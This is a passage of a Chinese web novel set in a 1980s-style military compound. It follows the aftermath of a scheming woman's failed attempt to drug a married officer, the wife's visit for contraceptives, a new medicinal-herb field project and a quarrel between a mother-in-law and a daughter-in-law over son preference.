他面目狰狞地继续叫嚣："不然等我出来后，我就让所有人都知道你这个骚货是怎么勾引男人的！" 蒋雪听到曹振国的话，浑身发抖，捂着脸痛哭出声。 "闭嘴！"公安厉声呵斥，一把将曹振国的脑袋按在墙上，"当着公安的面还敢这么嚣张？" "带走！"警官一挥手，两名民警立即将曹振国铐起来。 等事情处理完，大家都陆陆续续离开了饭店。褚明哲临走前，拍了拍霍沉舟的肩膀，深深叹了口气："今天这算什么事啊？早知道就不搞这个同学聚会了。大家虽然见不到，但平平安安的比什么都强。" 霍沉舟看着褚明哲愧疚的模样，神情稍缓："今天这件事不怨你，不用自责。" 褚明哲看了眼一旁的沈晚，勉强笑了笑："沉舟，这么晚了，你们先回去吧。" 霍沉舟拍了拍他的肩膀："那你们也早点回去。" "嗯，下次有机会再聚。" 上了车后，霍沉舟和沈晚一路沉默。 霍沉舟余光瞥了一眼沈晚，突然轻声道："对不起。" 沈晚侧头看他："为什么道歉？" 霍沉舟握着方向盘的手指微微收紧："我骗了你。在厕所门口...确实碰到了蒋雪。" 沈晚似笑非笑："具体说说？" 霍沉舟难得有些窘迫："她拦住我，说了些话……但我立刻就走了。我们之间什么都没有。" 沈晚"嗯"了一声，没有多说。 她这态度，让霍沉舟有点心慌了，他突然拉起沈晚的手："你不相信我吗？" 察觉到男人微微颤抖的声音，沈晚心里一软，反手握住霍沉舟的大手："我相信你。" 霍沉舟抿了抿唇："真的？" "嗯，我相信你，你和蒋雪什么都没有。"沈晚语气坚定。 闻言，霍沉舟心里稍安："我不和你说，是怕你多想。" 沈晚微微一笑："我知道。" 回到家属院后，李丽正趴在窗户边张望。 看到霍沉舟和沈晚一起回来，她失望地撇了撇嘴，没想到霍沉舟竟然带着沈晚去参加同学聚会了，看来表妹的计划是落空了。 "啧，这沈晚还真是有手段。"李丽小声嘀咕着，"连同学聚会都能跟着去，把霍团长看得死死的。" 沈晚和霍沉舟去接霍小川时，赵晓燕一眼就看出两人神色不对。 她一边给霍小川系上棉袄扣子，一边关切地问："你们这咋都拉着脸？同学聚会不高兴吗？" 沈晚并不是在背后嚼舌根子的人，虽然相信赵晓燕的为人，不会出去乱说，但还是没把蒋雪的事往外说，只是摇了摇头：“没事，谢谢你帮我们看孩子了。” 第一百一十五章 要不你嫁给曹振国？ 赵晓燕看出她不愿多说，也没再追问，爽朗地笑道："谢什么！你张大哥不在家，小川正好陪我解闷了。" 她捏了捏霍小川红扑扑的小脸，"这孩子可乖了，还帮我择菜呢。" 沈晚笑了笑："张大哥这都回去快一个星期了吧，咋还没回来？" 赵晓燕摇摇头："我也不知道，估计老家有点事耽搁了。" 沈晚点点头："那我们先回去了。" "回去吧。"赵晓燕摆摆手，一直把他们送到门口才转身回屋。 第二天一早，天刚蒙蒙亮，李丽就被一阵急促的敲门声吵醒。 她睡眼惺忪地打开门，还没看清来人，脸上就结结实实挨了一巴掌。 "哎哟！"李丽先是一愣，随即怒火中烧，刚想破口大骂，却在看清面前的人后愣住了，"表妹？你大早上来我这发什么疯？" 站在门外的蒋雪完全变了个样，从前那个每天出门都要精心打扮的文工团台柱子，此刻头发凌乱地披散着，脸色惨白，眼下挂着浓重的乌青。 她双眼红肿得厉害，显然哭了很久，嘴唇干裂得渗出血丝，身上的衣服也皱皱巴巴的，像是穿了一整夜没换。 "都怪你！"蒋雪声音嘶哑，浑身发抖，"要不是你出的馊主意，我怎么会......" 她哽咽得说不下去，眼泪又涌了出来，"都是你毁了我！" 李丽被她的样子吓到了，赶紧把人拉进屋里，关上门压低声音道："你胡说什么呢？我什么时候害你了？" 蒋雪瘫坐在椅子上，双手捂着脸。 李丽此时还是摸不着头脑，她看了眼里屋，怕蒋雪吵醒王强军，赶紧把人拉进厨房，压低声音问道："到底发生什么事了？昨天你不是和霍团长一起参加同学聚会吗？" 蒋雪猛地抬起头，眼神怨恨地瞪着她："是你给我出的馊主意，让我给霍沉舟下药，结果......结果......" 她话没说完，眼泪又涌了出来。 在公安局待了一整夜，只要闭上眼睛，就会想起昨晚在饭店被曹振国上下其手的画面。 那种屈辱和无力感让她几乎窒息，她明白，自己是真的毁了。 李丽急死了："到底啥事啊？你说清楚点啊！你不说清楚，我怎么帮你？" 蒋雪深吸一口气，强忍着恶心和羞耻，将昨晚发生的事断断续续地说了一遍。 说到曹振国趁她药效发作把她拉进卫生间时，她的指甲深深掐进了掌心，但是再疼也抵不上她的心脏疼。 李丽听完，脸色唰地白了，她怎么也没想到事情会变成这样。 她打量了一眼蒋雪，犹豫道："小雪，所以你们俩是真的......？" 蒋雪惨笑一声，眼神空洞："现在这个还重要吗？重要的是我的名声已经毁了！在场那么多老同学，还有饭店的那些人，全都看见了......" 她突然抓住李丽的手腕，指甲几乎要掐进肉里，"我完了......我这辈子都完了......" 李丽被她抓得生疼，却不敢挣脱。 她擦了擦额头的冷汗，心里既有些幸灾乐祸，又隐隐担忧，虽然她向来嫉妒这个清高自傲的表妹，但毕竟是一家人。 蒋雪要是过得好，她也能跟着沾光。现在发生这种事，完全超出了她的预料。 "那个，"李丽吞吞吐吐地说，"要不......要不你就嫁给那个曹振国算了？他家条件怎么样？" "你让我嫁给那个畜生？！"蒋雪猛地抬头，眼中迸发出骇人的恨意。 李丽硬着头皮劝道："哎呀，话不能这么说...你看啊，现在这事闹得人尽皆知，你的名声也毁了，曹家要是条件还行，至少能保住你的颜面..." 蒋雪歇斯底里道："闭嘴！我宁可去死也不会嫁给那个畜生！" 李丽被她的样子吓到，赶紧改口："对对对，不嫁不嫁！我就是随口一说。" 蒋雪在李丽家整理了一下衣服和头发，强撑着挺直腰背，像往常一样昂着下巴走出门。 越是这种时候，越不能让人看笑话。 刚走到院子里，却碰上了院里的沈晚。 沈晚显然也没想到会在这里遇见蒋雪，目光在她身上停留了一瞬，蒋雪还穿着昨晚那件衣服，神态疲惫，显然一夜未眠。 沈晚什么也没说，只是淡淡移开视线，准备绕过去。 蒋雪却不依不饶："沈晚，看见我现在这样，你是不是很得意？" 沈晚只是平静道："我没那么闲，去得意别人的不幸。" "装什么清高！"蒋雪冷笑，眼睛里满是怨恨，"你现在心里一定在嘲笑我吧？觉得我活该是不是？" "蒋雪，我理解你现在情绪激动。但这件事上，我既不是加害者，也不是旁观者，你没必要把火撒在我身上。" 蒋雪被她说得一怔，随即更加愤怒：“要不是你……” 沈晚打断她："要不是我什么？要不是我来了，霍沉舟说不定真喝了你给他的那瓶汽水，现在该痛苦该伤心的就是我了？" 蒋雪瞪大眼睛，喃喃道："你怎么会知道？" 沈晚冷笑一声：“你以为你做的天衣无缝？” 蒋雪眼神飘忽，明显心虚起来。 沈晚语气平静却字字诛心："所以，我说难听点，你今天的下场就是咎由自取。" 蒋雪一口银牙差点咬碎，却无力反驳，只能眼睁睁看着沈晚转身回了屋。 回屋后，沈晚看见躺在炕上一脸餍足的霍沉舟，心里顿时窜起一股无名火。 这男人，简直就是个祸害，走到哪儿都能招惹桃花。 她眯了眯眼，直接跳到了男人身上。 "唔——"霍沉舟在睡梦中闷哼一声，还没反应过来，就感觉肩膀传来一阵刺痛。 "嘶......阿晚？"他睁开眼，对上的是一双燃着怒火的眸子。 沈晚骑在他身上，咬牙切齿。 霍沉舟虽然一头雾水，但还是本能地一把将人搂下来，毛茸茸的脑袋在她颈窝里蹭了蹭，声音带着刚睡醒的沙哑："媳妇儿~大早上的，谁惹你生气了？" 第一百一十六章 阿晚，给我生个闺女吧 "刚才我碰见蒋雪了。" 霍沉舟听到这个名字，清醒了几分："她和你说什么了？" 沈晚盯着他的眼睛："她问我现在是不是特别高兴。" 她咬了咬唇，"其实我没什么好高兴的。霍沉舟，昨天我要是没跟着去，你是不是就要喝下蒋雪给你的那瓶汽水了？" 说到这里，她心里其实有点不舒服。 如果霍沉舟真和蒋雪发生了什么，以她的性格，哪怕再痛苦也会选择离婚。 霍沉舟搂着她的胳膊紧了紧："不会。你觉得我能坐到这个位置，观察力就那么差？" 他翻身将人压在身下，认真地看着她的眼睛："那瓶汽水我早就注意到不对劲了。就算你没跟着去，我也不会喝。" 沈晚半信半疑："真的？" 霍沉舟低笑一声，亲了亲她的鼻尖："真的。你以为你男人是那么好算计的？" 他说着，眸光暗了几分："现在这个结果，也算是她自作自受。" 沈晚轻轻"嗯"了一声。 霍沉舟手上又开始不老实起来，沈晚这次却拦住了他："不行。" 霍沉舟埋在她胸口闷闷道："为什么不行？" 沈晚推了推他的肩膀："这几天算是我比较危险的排卵期，我想去医院领点安全套。" 霍沉舟不依不饶地在她颈间蹭着，声音沙哑："就一次……我小心点。" 沈晚被他蹭得浑身发软，却还是坚持："真不行，怀孕了怎么办？" 霍沉舟抬起头，黑眸里闪着期待的光芒："怀了就生吧。" 他轻轻抚上沈晚平坦的小腹，"阿晚，我想要你给我生个闺女，和你一样漂亮可爱。" 沈晚被他直白的话闹了个大红脸，却还是理智地摇头："现在还不是时候，我还没准备好。" 虽然她现在很喜欢霍沉舟，但生儿育女这种重大决定她还没准备好。 况且小川这么乖巧懂事，已经满足了她对孩子的所有期待，如果再要一个，万一养歪了怎么办？ 想到这里，沈晚态度更坚决了。 不管霍沉舟怎么软磨硬泡，她都摇头拒绝。 霍沉舟虽然失望，却也不愿勉强她，最后只把人搂在怀里亲了又亲，在被窝里腻歪了好一阵才罢休。 起床后，沈晚简单收拾了一下，和赵晓燕一起去医院，正好赵晓燕要去复查。 赵晓燕还以为她是特地来陪自己的："妹子，这医院这么近，我一个人去就行，你不用特地陪我去。" 沈晚摇摇头："不是，我也有事。" "什么事啊？"赵晓燕随口问道。她知道沈晚在医院很受重视，还以为是工作上的事。 没想到沈晚凑到她耳边，压低声音说了几句话。 赵晓燕先是一愣，随即有点惊讶："要那玩意干啥？妹子，你不想和霍团长再生一个吗？" 沈晚脸上微热，但还是解释道：“我暂时还没准备好。” 赵晓燕拍拍她的手："你和霍团长那么好的基因，该多生两个，小川昨天还说他想要个弟弟妹妹呢。不过你还年轻，想过过二人世界，我懂。" 沈晚忍不住笑了："对啊，小川已经够乖巧懂事了，要是再生个调皮捣蛋的，我怕是要被气死。" 两人说说笑笑间，赵晓燕继续传授经验："这事儿你得跟霍团长好好说。这年头的男人啊，十个有九个都盼着多子多福。你要是态度太强硬，怕会伤了他的心。" 沈晚若有所思地点点头。 想起早上霍沉舟虽然有些失望，却还是尊重她的决定。 说话间，两人已经到了军区医院。赵晓燕今天是来做孕期常规检查的。 医生仔细询问了她的身体状况，又做了基础检查。 "胎儿发育得很好，叶酸要继续吃。另外要注意休息，你现在还是孕早期，要特别注意营养均衡，但也不能补太过。" 赵晓燕连连点头，脸上洋溢着幸福的笑容。 等医生交代完注意事项，她迫不及待地问："大夫，您看我这个能不能看出是男是女啊？" 医生神情严肃："同志，国家严禁胎儿性别鉴定。再说了，生男生女不都一样吗？都是革命事业的接班人！" 赵晓燕："没事没事，大夫您别误会，男孩女孩我都喜欢，只要孩子健康快乐就行。" 出了诊室，两人往走廊尽头的计划生育办公室走去。 沈晚突然听到身后传来熟悉的声音，“沈顾问？” 她回头，看见是张思德，笑着打了声招呼："张医生，你怎么在这？" 张思德轻咳一声："我刚从内科会诊回来。" 他看了一眼走廊尽头的计划生育办公室，犹豫道，"你这是要去......？" 沈晚坦然道："我去趟计划生育办公室。" 闻言，张思德的眉心微不可察地皱了一下，去计划生育办公室还能有什么事，肯定是去领安全套。 虽然早就清楚沈晚和霍沉舟是夫妻，而且两人还有一个孩子，但张思德心里还是泛起一阵酸涩，就好像一束名贵兰花被野猪拱了一样。 他觉得霍团长那样粗犷的军人，实在配不上沈顾问这样灵秀的女子，当然，他自己也是配不上的，他只配远远仰望。 沈晚见他出神，歪头挥了挥手："张医生？" 张思德猛地回神，嘴角扯出一个苦笑："你去吧。" "嗯。" 等张思德离开后，沈晚走进计划生育办公室，赵晓燕则在门口等着。 左侧墙上整齐贴着"计划生育利国利民"的红色标语，右侧的玻璃展柜里陈列着各种避孕用具的样品和宣传图册。 办公桌后坐着一位扎着马尾辫的年轻女医生，正低头写着什么。 听到门响，她头也不抬地开口："姓名？单位？结婚证带了吗？" 沈晚从包里掏出结婚证："沈晚，军区医院特聘中医顾问。" 听到这个名字，女医生立刻抬起头："沈顾问？" 沈晚点点头。 女医生接过结婚证只象征性看了看便还了回去，笑着说："早就听说您医术高明，没想到今天能见到本人。" 一边说一边从抽屉里取出几盒避孕套，"您看需要哪种？我们这有国产的，也有进口的。" 第一百一十七章 药田种植 沈晚也是第一次要用这东西，有点尴尬，轻声问道："有什么区别吗？" 女医生见她这副模样，忍不住笑了："你不用感到害羞，很多军属都会来我们这拿，这是很正常的事。" 她耐心解释道，"国产的更厚实耐用，进口的更轻薄贴合，看你个人喜好。" 沈晚低着头，纤长的睫毛轻轻颤动，白皙的脸颊染上一层淡淡的红晕，整个人透着一股娇羞又动人的气质。 女医生一时都被惊艳到了，语气不自觉地放柔："沈顾问，要不……你多拿几盒回去试试？" 沈晚"啊？"了一声，抬起水润的眸子："这...不太好吧？" 女医生意味深长地笑笑："你长得这么漂亮，霍团长肯定疼你疼得紧，多备点总没错。" 说着就往她手里塞了好几盒，"用得好下次再来拿。" 沈晚羞得恨不得找个地缝钻进去，匆匆道谢后就把东西往包里一塞，逃也似地离开了办公室。 赵晓燕见她红着脸走出来，忍不住笑道："小川都快五岁了，你怎么还跟个黄花大闺女似的，一逗就脸红。" 沈晚张了张嘴，一时语塞，总不能说她的灵魂其实是个连恋爱都没谈过的现代人吧？ 好在赵晓燕只是调侃一句，便转移了话题。 另一边，蒋雪强撑着来到文工团。 她本想装作若无其事的样子继续工作，可刚踏进大门，就察觉到周围投来的异样目光。 几个女团员聚在一起窃窃私语，见她走近，又立刻噤声散开。 她攥紧拳头，强作镇定地走向更衣室，正要推门，里面传来的对话却让她浑身血液凝固—— "你们听说蒋雪那件事了吗？" "啥事啊？" "就是昨天晚上，她被......"压低的声音里带着明显的鄙夷，"听说是在饭店厕所里面……" "啊？真的假的？那也太恶心了吧。" 蒋雪如坠冰窟，耳边嗡嗡作响。 她不明白这件事怎么会传得这么快，明明公安答应会保密的，谁把这件事散播出来的？ 正当她浑身发抖时，身后突然传来一声轻唤："小雪。" 蒋雪回头看见好友顾漫漫。 顾漫漫眼神复杂，带着几分心疼。 她把蒋雪拉到无人的楼道里，压低声音问道："小雪，你没事吧？" 蒋雪再也绷不住，眼泪夺眶而出："漫漫，我这辈子都毁了，我也没脸再在文工团待下去了..." 顾漫漫握住她冰凉的手："小雪，为什么事情会演变成这样？你不是说是去见霍团长吗？" 蒋雪含泪摇头，声音哽咽："我也不知道...我就是喝了一杯酒，然后就失去意识了..." 她痛苦地抱住头，"现在那个人被抓起来了，可是为什么所有人都知道了？漫漫，是谁告诉你们的？" 顾漫漫看着她这副模样，叹了口气：“我也不知道，我今早刚来文工团，就听说了这件事，能让消息散播这么快的人，应该是和你有仇的吧。” 她的话提醒了蒋雪。 “难道是沈晚？只有她看不惯我。” 顾漫漫义愤填膺道："很大可能就是她！这样看来，她不仅水性杨花，心思还歹毒得很！" 蒋雪眼中翻涌着浓烈的恨意，“沈晚，我绝对不会放过她！” …… 快走到医院门口时，沈晚凑巧被刚从外面回来的董建林叫住："沈晚？正好你在，我有点事找你。" 沈晚停下脚步："院长，有什么事？" 董建林："霍团长应该和你说过，我向军区申请了一块黑土地，要开垦药田的事吧？" 沈晚眼睛一亮："是地已经批下来了吗？" "对，就在部队西边那片荒地，靠近靶场的位置。"董建林微笑着解释，"那里土壤肥沃，又背风向阳，最适合种药材。" 沈晚对这个项目很感兴趣，转头和赵晓燕交换了个眼神。 赵晓燕立刻会意："妹子，你去忙吧，我先回去了。" 沈晚贴心地说："院长，能麻烦您安排车送赵姐回去吗？" 董建林爽快地答应："没问题，让我的司机送就行。" 他转头对有些拘谨的赵晓燕和蔼地说，"别客气，这天寒地冻的，走回去多冷。" 赵晓燕见他态度真诚，也就不再推辞："那就麻烦院长了。" 说完便坐上董建林的专车离开了。 等车开走后，董建林往前走去："走吧，去我办公室详谈。" 路上，沈晚好奇地问："院长，为什么军区会同意开垦药田呢？" 董建林双手背在身后，边走边解释道："最近边防部队反映，冬季训练时冻伤、风湿的战士很多，但西药供应紧张，效果也不理想。上头考虑到咱们这地方靠山，野生药材丰富，不如就地取材，既能解决药品短缺问题，又能培养一批懂中医药的卫生员。" 沈晚闻言若有所思地点点头："原来是这样。" 董建林笑着拍了拍她的肩："所以啊，到时候还要邀请你来当技术指导呢。" 现代沈家是中医世家，在水乡有着近百亩的药田，专门种植三七、黄芪、当归等名贵药材。 沈晚从小跟着爷爷在药田间穿梭，对土壤调配、季节轮种都颇有心得。 她胸有成竹地担保道："放心吧院长，我肯定会让药田物尽其用，争取一年内实现常用药材自给自足。" 说话间，两人已走到办公室。 董建林推门而入，从抽屉里取出一份盖着红头文件的方案书，递给沈晚："这是军区批准的药材种植计划，你看看有什么需要补充的。" 沈晚接过文件，随手翻了翻，发现里面主要规划了人参等东北当地药材的种植，但对土壤改良、轮作制度等关键环节却写得相当简略。 "计划整体方向是对的，"她指着其中几页说道，"但具体实施细节还需要完善。比如这里提到的连作障碍问题，必须建立科学的轮作体系；还有病虫害防治，最好采用生物防治代替农药……" 董建林忍不住赞许："看来选你当技术指导算是找对了！军区对中医研究还是太少了。" 第一百一十八章 不舒服 他沉吟片刻，"我们打算过段时间从各部队医院选拔一批有基础的卫生员，开办一个中西医结合培训班，由你和其他几位专家轮流授课。" 沈晚默默点头："这个想法挺好的，可以先从常见病的针灸推拿、中草药辨识这些实用技能教起。" 她想了想，又问道："那从哪找来的其他专家？" 董建林："大多是省里几位德高望重的老中医，到时候你们可以好好交流交流。" 沈晚笑着点头："行。" 董建林又关切地问："上次给你的那套银针，用得怎么样？" "特别好用，针体柔韧度刚好……" 两人正像老友般唠着家常，办公室的门突然被人从外面直接推开。 伴随着一阵急促的脚步声，一个熟悉的女声响起："院长，" 话音未落，林怡宁就看见了坐在沙发上的沈晚，脸色瞬间冷了下来。 沈晚对她自然也没有什么好脸色。 林怡宁开口质问：“你怎么在这？” 沈晚神色淡然："自然是院长叫我来的。" 林怡宁冷哼一声，不再理会沈晚，转而对董建林说道："院长，你前天接收的那个重症肺炎患者现在已经出现呼吸衰竭的症状，你过去看看吧！" 董建林闻言立即站起身，边往门外走边说："沈同志，我们改天再聊。" 沈晚也站了起来："您快去吧，病人要紧。" 林怡宁临走前还不忘回头瞪了沈晚一眼。 林怡宁跟在董建林身边："院长，我爸这周日想邀请您去我们家吃顿饭。" 老友的面子，董建林自然不能不给，淡淡应了声："嗯，知道了。" 后面的对话，沈晚就听不见了。她也不感兴趣，走出办公室后随手关上门，径直离开。 晚上，沈晚收拾橱柜时，看见了上次蒋雪送给霍沉舟的红酒，当时还说是送给她的，现在看来，不过是借机接近霍沉舟的借口罢了。 她盯着那瓶红酒看了几秒，越看越觉得膈应。 别说喝了，光是放在家里都嫌晦气。她干脆拧开瓶塞，将整瓶酒哗啦啦倒进水池，然后把空瓶子往墙角一扔。 霍沉舟回来后，一眼就看见了墙角的酒瓶子。 他挑了挑眉，唇角微勾："酒你喝了？" 沈晚翻了个白眼："你觉得我还会喝她送的酒？" 霍沉舟从善如流："不会。" "那你还问？" "那是倒了？" "对啊，"沈晚故意指了指水池，"你现在去闻闻，说不定还能闻到点味儿。" 霍沉舟失笑："我为什么要心疼？一瓶酒而已。" 沈晚又把今天董院长找她说药田和培训班的事给霍沉舟说了一遍。霍沉舟耐心听完，只说了句："你想做就去做。" 沈晚心里一暖，知道他这是无条件支持自己搞事业。 霍沉舟突然想到什么，凑近几分："你今天去医院了？" "去了呀。" "拿那东西了？" 沈晚知道他指的是什么，转头含笑瞥了他一眼："拿了呀，以后我们俩必须做好安全措施。" 霍沉舟叹了口气，语气委屈："看来你是真的不想和我生个闺女。" 正巧霍小川从屋里跑出来，听到这句话，立刻扑到沈晚腿边："爸爸妈妈，你们要给我生个妹妹吗？" 霍沉舟一把抱起儿子，故意道："爸爸想生，可是你妈不想生，爸爸也没办法。" 霍小川"啊"了一声，小手拽着沈晚的衣角轻轻摇晃："妈妈，小川也想要个妹妹......" 沈晚嗔怪地瞪了一眼腹黑的霍沉舟，然后温柔地哄霍小川："小川，妈妈暂时还没有生二胎的打算。等妈妈真的愿意生的时候，再告诉你好不好？" 霍小川眨了眨大眼睛，虽然有些失望，但还是乖巧地点点头："好吧，没关系的妈妈。" 他伸出小手轻轻摸了摸沈晚的脸，"小川有爸爸妈妈就够了。" 看着儿子这么懂事的样子，沈晚心里软得一塌糊涂。 她再一次感叹这个孩子的贴心，能有一个这么乖巧懂事的儿子，已经是上天给她的恩赐了。 她从霍沉舟怀里接过霍小川，亲了亲他的小脸蛋："走，小川，妈妈陪你玩魔方去。" 在她的悉心指导下，霍小川玩魔方的技术进步飞快，现在已经能勉强完成三阶魔方的复原了。 沈晚盘腿坐在炕上，将魔方放在霍小川面前。 "小川，记住妈妈教你的口诀——"她一边转动魔方一边耐心讲解，"白花朝上，黄心向下，这是第一步。找到白色的中心块，把四个白色棱块转上来，像这样……" 她放慢动作，手指灵活地拨动魔方："看，这样就拼好白色十字了。接下来是小花变白……" 霍小川睁着圆溜溜的大眼睛，认真地跟着学。 沈晚时不时帮他调整手指姿势："对，拇指放在这里，食指这样拨……不要太用力。" 霍小川学得很快，不一会儿就能自己独立复原魔方了。 他一边转动魔方，一边问："妈妈，你为什么早上经常从爸爸房间里出来呀？小川早上醒来都看不见妈妈了。" 沈晚轻咳一声，有点尴尬："是、是吗？" "是啊，"霍小川仰懂事地说，"妈妈，如果你想和爸爸住在一起，我自己一个人也是可以的。" 沈晚连忙往客厅看，确认霍沉舟不在，这才松了口气："没有没有，妈妈还是想和小川睡在一起。" 霍小川歪着头，显然不太相信："可是爸爸说......" "你爸说什么了？"沈晚顿时警觉起来。 "爸爸说让我以后自己睡，因为我是男子汉了！" 沈晚："......" 这个狗男人，居然背着她给孩子洗脑！ 晚上十点，霍沉舟趴在沈晚身上，委屈巴巴地说：“不舒服。” 沈晚小脸绯红，呼吸还有些急促，闻言没好气地瞪他一眼："那你换别的试试，我不是拿回来好几盒？" 霍沉舟皱眉，在她颈间蹭了蹭："都一样。" 沈晚作势要起身："那我回屋睡。" "别。"霍沉舟连忙将人搂紧，在她唇上亲了亲，声音里带着无奈，"好好好，听你的。" 第一百一十九章 蒋雪撒谎 蒋雪和李丽虽然是表姐妹，但两家境遇天差地别。 蒋雪的母亲周美娟年轻时凭借出众的容貌和精明的手段，嫁给了镇上供销社主任蒋晓东，一跃成为体面的城里人。 而李丽的母亲周美玲则是典型的农村大姐，靠种地供养弟弟妹妹读书成家，最后嫁给了同村的木匠。 因此李丽从小在田间地头长大，身上总带着股土气，和蒋雪那种优渥家庭培养出的优雅气质截然不同。 蒋雪拖着疲惫的身子回到家时，看见母亲周美娟正坐在客厅的皮质沙发上，一边看电视一边涂指甲油。 "回来了？"周美娟随口问道。 蒋雪点点头，径直往卧室走："妈，我先洗澡睡觉了。" "等等。"周美娟突然叫住她，"怎么回事？没精打采的？你昨天不是说去漫漫家过夜了吗？" 蒋雪脚步一顿，她强撑着挤出一个笑容："就是排练太累了……" 周美娟眯起眼睛，突然起身一把抓住女儿的手腕："你脖子上怎么回事？" 蒋雪下意识捂住脖子，上面还残留着昨晚曹振国留下的暧昧痕迹。 她支支吾吾道："可能...被什么虫子咬到了吧。" 周美娟冷笑一声："你当我是傻子？" 她一把扯开女儿的衣领，"你妈什么没经历过，还能看不出这是什么？快说！你是不是谈恋爱了？" 蒋雪低着头，手指紧紧绞着衣角，周美娟从小对她管教极严，若是知道她婚前失了身，怕是会当场气晕过去。 挣扎许久，她最终只是轻轻"嗯"了一声。 周美娟神情更加严肃："哪家的小伙子？是文工团的？还是你爸给你介绍的那个税务局的小王？" "妈...你还记得我上次和你说过的，我的大学同学霍沉舟吗？就是现在在部队当团长的那个......" 周美娟神情缓和了几分："霍沉舟？有点印象。可你不是说他结婚了吗？" 蒋雪急忙解释："他早就申请离婚了！现在就是名存实亡而已。" 蒋雪说这话的时候很心虚，但是她现在也不知道怎么办了，想着能瞒一时是一时，等她找到新对象，再说和霍沉舟分手了。 周美娟狐疑地盯着女儿："你昨晚不会是在他家过的夜吧？" "没有！我们就是一起吃了顿饭，晚上我是在漫漫家睡的。" 周美娟将信将疑："小雪，我们是正经人家的姑娘，婚前可不能干那些出格的事，不然男方会轻视你的。 你说的那个霍沉舟，虽然家庭条件一般，但年纪轻轻就当上团长，前途无量，倒也配得上我们家。" 蒋雪勉乖巧地笑笑："妈，我知道的。" 她转移话题道，"对了，我爸呢？" 周美娟摆摆手："去省里开会了，供销社年底要盘点，得三四天才能回来。" 蒋雪点点头："那妈，我先回屋了，白天排练太累了。" "去吧。"周美娟重新坐回沙发上。 回到卧室，蒋雪反锁上门，整个人瘫软在床，她盯着天花板，脑海中不断闪回昨晚的噩梦。 …… 两天后，张德志终于风尘仆仆地回来了，身后还跟着一位佝偻着背的老妇人。 他特意向部队申请了特批，允许母亲在部队暂住并在部队医院接受治疗。 沈晚正在院子里给草药松土，突然听到一个陌生的声音嫌弃道："哎哟，这咋还有在院子里种野草的？这也太糟蹋地方了。" 她抬头，看见张德志搀扶着一位面色蜡黄、身形消瘦的大婶。 大婶约莫六十出头，脸色灰暗，眼窝深陷，身形佝偻得像只虾米，每说两句话就要捂着胸口剧烈咳嗽一阵，咳得满脸通红。 沈晚站起身，拍了拍手上的土："张大哥，你回来了？" 张德志笑了笑："沈同志，这是我娘。她这肺痨病在老家治了三四年都不见好，这次特意接她来部队医院看看。" 黄春艳用浑浊的眼睛打量着沈晚，又瞥了眼药田："你种这些野草有啥用？要种就该种点实在的。" 说完又是一阵撕心裂肺的咳嗽，咳得整个人都在发抖。 张德志连忙给母亲拍背："娘，这是沈大夫，她种的可是治病的草药！" 黄春艳哼了一声，显然不信："就这些杂草也能治病？要种也该种点白菜萝卜。" 沈晚看在张德志的面子上，没和黄春艳计较。 中医讲究"望闻问切"，她只消看一眼黄春艳青白的面色，就知道这肺痨病恐怕已经伤了根本，难怪辗转治疗多年都不见效。 张德志冲沈晚歉意地笑笑："沈同志，我先带我娘回屋里歇会了。这赶了一天一夜的火车，老人家实在受不住。" 沈晚理解地点点头："快回家吧，赵姐在家等着你呢。" 黄春艳被儿子搀扶着往家走，还不忘问："那姑娘看起来年纪轻轻的，是哪家的军官太太？级别没你高吧？" 张德志无奈地叹气："娘，那是霍团长家的爱人，级别当然比我高了。" 黄春艳虽然不懂军衔，但听儿子亲口承认比不上人家，顿时撇了撇嘴："你说的晓燕怀孕了，是真的？没骗我？" 张德志哭笑不得："这种事我哪敢骗您啊！您马上就能见到她了。" 黄春艳这才满意地哼了一声，但随即又咳了起来。 等到了家门口，张德志喊了一声："晓燕！" 赵晓燕听到动静连忙走出来，看见丈夫的第一反应是高兴："你回来了！咋去了那么久？一个星期了才回来。" 张德志还没开口，黄春艳就抢先道："他一年到头在部队，好不容易回家一趟，当然要先拜访拜访亲戚！" 赵晓燕看见婆婆，脸上的笑容顿时淡了几分："妈也来了。" 黄春艳："怎么，你不欢迎我来？" 张德志连忙冲赵晓燕使了个眼色。 赵晓燕深吸一口气："妈，怎么会呢？快进来吧，外面冷。" 黄春艳这才迈步进屋。 她一进门就四处打量，目光挑剔地扫过客厅的每一个角落。 第一百二十章 婆媳矛盾 “家里这么乱，平常你在家都不打扫的吗？” 张德志连忙打圆场："妈，晓燕这不是怀孕了吗？医生说了要少干重活。" 黄春艳的目光立刻钉在赵晓燕的肚子上："到医院查是男是女了吗？我儿娶了你这么多年，好不容易怀上，得生个儿子传宗接代才行。" 赵晓燕强压着火气："妈，生男生女不都是我和德志的孩子吗？" "那能一样吗？丫头片子迟早是要嫁出去的，儿子才能留在身边养老，才能继承老张家的香火！" 赵晓燕刚要反驳，黄春艳突然剧烈咳嗽起来，整个人佝偻着背，像是要把肺都咳出来。 赵晓燕只好把话咽回去，转身去厨房倒了杯热水："妈，喝点热水润润嗓子。" 黄春艳接过水杯，咕咚咕咚灌下三大口，这才缓过气来。 张德志生怕婆媳俩再吵起来，连忙扶着黄春艳进了侧卧："妈，你先躺炕上歇会儿，坐了这么久火车，都没休息好。" 黄春艳这身子确实扛不住了，只能先回屋躺下。 张德志放下行李，转身就去哄赵晓燕。 他把赵晓燕推进里屋，迫不及待地在她脸上亲了一口："媳妇儿，想我了没？" 赵晓燕瞪了他一眼："你妈一来就挑我的刺，什么意思？" "我妈那性格你还不知道吗？"张德志陪着笑脸，"她心又不坏，而且你还怀着她的孙子呢，她能不疼你吗？" 两人刚抱在一起想温存片刻，隔壁突然传来黄春艳的喊声："德志！德志！" 赵晓燕叹了口气，推了推丈夫："去吧，你娘叫你呢。" 她站起身整了整衣服，"我去小晚家坐坐，省得在这儿憋屈。" 张德志只好答应："行吧。" 赵晓燕来到沈晚家，沈晚见她脸色不好，猜到几分缘由，笑着拉她进屋："张大哥好不容易回来，你不和他多待会儿，怎么来找我了？" 赵晓燕重重叹了口气，一屁股坐在炕沿上："可别说了！我婆婆那个人，一进门就挑剔我，还说我要是生个闺女，不算是给他们老张家传宗接代。" 沈晚摇摇头，心想别说这个年代了，就是在现代，婆媳矛盾和重男轻女的思想也屡见不鲜。 她给赵晓燕倒了杯热茶："所以你来我这避避风头了？毕竟你婆婆好歹是个病人，你也不好和她犟嘴。" 赵晓燕接过茶杯，苦笑道："还是你懂我啊！" 她抿了口茶，"对了，之前听她咳嗽没那么严重的，今天再一听，那咳嗽声跟要把五脏六腑都咳出来一样，感觉有点吓人。妹子，她这肺痨病...不传染吧？" 沈晚："具体症状是什么样的？除了咳嗽，还有没有发热、咯血？" 